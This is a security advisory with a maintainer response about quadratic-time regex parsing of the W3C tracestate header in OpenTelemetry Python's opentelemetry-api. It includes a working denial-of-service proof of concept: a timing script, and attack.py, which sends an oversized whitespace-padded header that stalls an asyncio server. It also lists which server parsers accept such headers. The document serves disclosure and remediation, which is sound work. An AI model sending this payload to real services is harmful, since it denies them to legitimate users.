OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api

Summary

TraceState.from_header splits the inbound W3C tracestate header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB tracestate keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.

Affected component / version

• Package: opentelemetry-api (pip) — opentelemetry/trace/span.py (TraceState.from_header), reached from opentelemetry/trace/propagation/tracecontext.py (TraceContextTextMapPropagator.extract).
• Confirmed in main (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.
• Reachable with the default propagators (OTEL_PROPAGATORS defaults to tracecontext,baggage) from any server instrumentation that calls propagate.extract(), for example opentelemetry-instrumentation-asgi.

Details

1. The header reaches the parser without any length check:

# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME)  # <-- attacker-controlled request header(s), any size
if tracestate_headers is None:
    tracestate = None
else:
    tracestate = TraceState.from_header(tracestate_headers)             # <-- no length check before parsing (line 61)

2. The split pattern and the parser:

# opentelemetry-api/src/opentelemetry/trace/span.py:45
_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32            # <-- only enforced later, in TraceState.__init__, after the split
_delimiter_pattern = re.compile(r"[ \t]*,[ \t]*")      # <-- (line 46) starts with an unbounded [ \t]*

# span.py:382
@classmethod
def from_header(cls, header_list: list[str]) -> TraceState:
    pairs = {}  # type: dict[str, str]
    for header in header_list:
        members: list[str] = re.split(_delimiter_pattern, header)   # <-- (line 400) VULNERABLE: O(N^2) on "a=b" + " " * N + "x"
        for member in members:
            if not member:
                continue
            match = _member_pattern.fullmatch(member)
            if not match:
                _logger.warning(                                    # <-- also logs the entire malformed member (up to the whole header)
                    "Member doesn't match the w3c identifiers format %s",
                    member,
                )
                return cls()
            ...

re.split tries the pattern at every offset. At each offset inside a whitespace run, [ \t]* consumes the rest of the run, finds no ,, backtracks and fails, then the engine moves one character forward and repeats. N characters × up to N steps each = O(N²). The 32-member limit never gets a chance to run because split has to finish first.

3. The sibling propagator already has the missing guard:

# baggage/propagation/__init__.py:68
_MAX_HEADER_LENGTH = 8192
...
if len(header.encode()) > self._MAX_HEADER_LENGTH:   # <-- (line 93) rejected before any regex runs; tracestate has no equivalent
    _logger.warning(...)
    return context

A 16 KiB header costs ≈ 0.25 s and an 8 KiB header ≈ 0.07 s. Measured cost of extract() on one core (valid traceparent, tracestate: "a=b" + N spaces + "x"): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6× slower).

Whether a server lets such a header through (header-size limits, tested): gunicorn rejects ≥ 8190 bytes (response code 431); uvicorn --http h11 rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); uvicorn --http httptools — the default parser with uvicorn[standard] — accepted 300 KB, 1 MB, 5 MB and 20 MB tracestate headers.

Proof of concept

A. Show the quadratic cost (no server needed)

1. Install the API: pip install opentelemetry-api (any version from 1.0 up to the current main is affected).
2. Save as poc_tracestate.py:

import logging
import time

from opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator

# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.
logging.disable(logging.CRITICAL)

TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
propagator = TraceContextTextMapPropagator()

previous = None
for n in (10_000, 20_000, 40_000, 80_000):
    # N spaces after a valid member, no comma anywhere in the header
    carrier = {"traceparent": TRACEPARENT, "tracestate": "a=b" + " " * n + "x"}
    start = time.perf_counter()
    propagator.extract(carrier)
    elapsed = time.perf_counter() - start
    growth = f"x{elapsed / previous:.1f}" if previous else "-"
    print(f"{n:>7} characters  {elapsed:6.2f} s  growth when size doubles: {growth}")
    previous = elapsed

3. Run python poc_tracestate.py.
4. What to observe: the time grows by about ×4 every time the input size doubles (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:

  10000 characters    0.06 s  growth when size doubles: -
  20000 characters    0.26 s  growth when size doubles: x4.0
  40000 characters    1.04 s  growth when size doubles: x4.0
  80000 characters    4.13 s  growth when size doubles: x4.0

Replace " " with "\t" to see ≈1.6× longer.

B. Show that one request stalls a real server

This uses OpenTelemetryMiddleware from opentelemetry-instrumentation-asgi around a trivial ASGI app and the default uvicorn[standard] parser (httptools).

1. Install: pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]".
2. Save as app.py:

from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware


async def app(scope, receive, send):
    await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]})
    await send({"type": "http.response.body", "body": b"ok"})


app = OpenTelemetryMiddleware(app)

3. Start the server in one terminal: uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools
4. Save as attack.py:

"""Send one oversized tracestate request and, while it is being handled,
measure how long an unrelated request to the same server has to wait."""
import socket
import sys
import threading
import time

HOST, PORT = "127.0.0.1", 8000
N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"


def get(path, extra=""):
    s = socket.create_connection((HOST, PORT), timeout=120)
    s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode())
    start, data = time.perf_counter(), b""
    while chunk := s.recv(65536):
        data += chunk
    return time.perf_counter() - start, data.split(b"\r\n")[0].decode()


result = {}
extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n"
attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra)))
print("idle /ping:               %.3f s  %s" % get("/ping"))
attacker.start()
time.sleep(0.5)  # let the attack request reach the server first
print("/ping during the attack:  %.3f s  %s" % get("/ping"))
attacker.join()
print("attack request itself:    %.3f s  %s" % result["a"])

5. In a second terminal run python attack.py 100000.
6. What to observe: the idle /ping answers in milliseconds, but a /ping sent half a second after the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:

idle /ping:               0.000 s  HTTP/1.1 200 OK
/ping during the attack:  5.909 s  HTTP/1.1 200 OK     <-- unrelated request delayed ~6 s (event loop blocked)
attack request itself:    6.408 s  HTTP/1.1 200 OK

7. Start the server with --http h11 instead and run the same command: the attack request is rejected immediately (400 Bad Request, h11 header cap) and /ping is not delayed. Our measurements for --http httptools: 30,000 spaces → 0.59 s; 100,000 spaces → 6.57 s with the concurrent /ping delayed 6.07 s; 100,000 tabs → 12.39 s with the concurrent /ping delayed 11.89 s.

Severity

Likelihood: Low. Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16–30 KB.

Impact: Medium. One request of about 100 KB costs 6–12 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.

Severity: Medium.

Suggested remediation

Replace the regex split with a plain split and strip; this removes the quadratic behaviour and is equivalent on valid input:

--- a/opentelemetry-api/src/opentelemetry/trace/span.py
+++ b/opentelemetry-api/src/opentelemetry/trace/span.py
@@ def from_header(cls, header_list: list[str]) -> TraceState:
         for header in header_list:
-            members: list[str] = re.split(_delimiter_pattern, header)
+            members: list[str] = [m.strip(" \t") for m in header.split(",")]

_delimiter_pattern (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with _MAX_HEADER_LENGTH. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty TraceState, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.

Credit

Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com

FROM MAINTAINERS

Summary

TraceState.from_header() in opentelemetry-api used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound tracestate headers.

Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.

Impact

Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed tracestate values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.

The practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.

Unlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.

The impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.

Patches

Versions of opentelemetry-api up to and including 1.45.0 are affected.

Upgrade opentelemetry-api to version 1.45.1 or later.

Version 1.45.1 replaces the affected parsing operation with linear-time processing and discards combined tracestate headers longer than 8,192 characters.

Workarounds

Ensure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.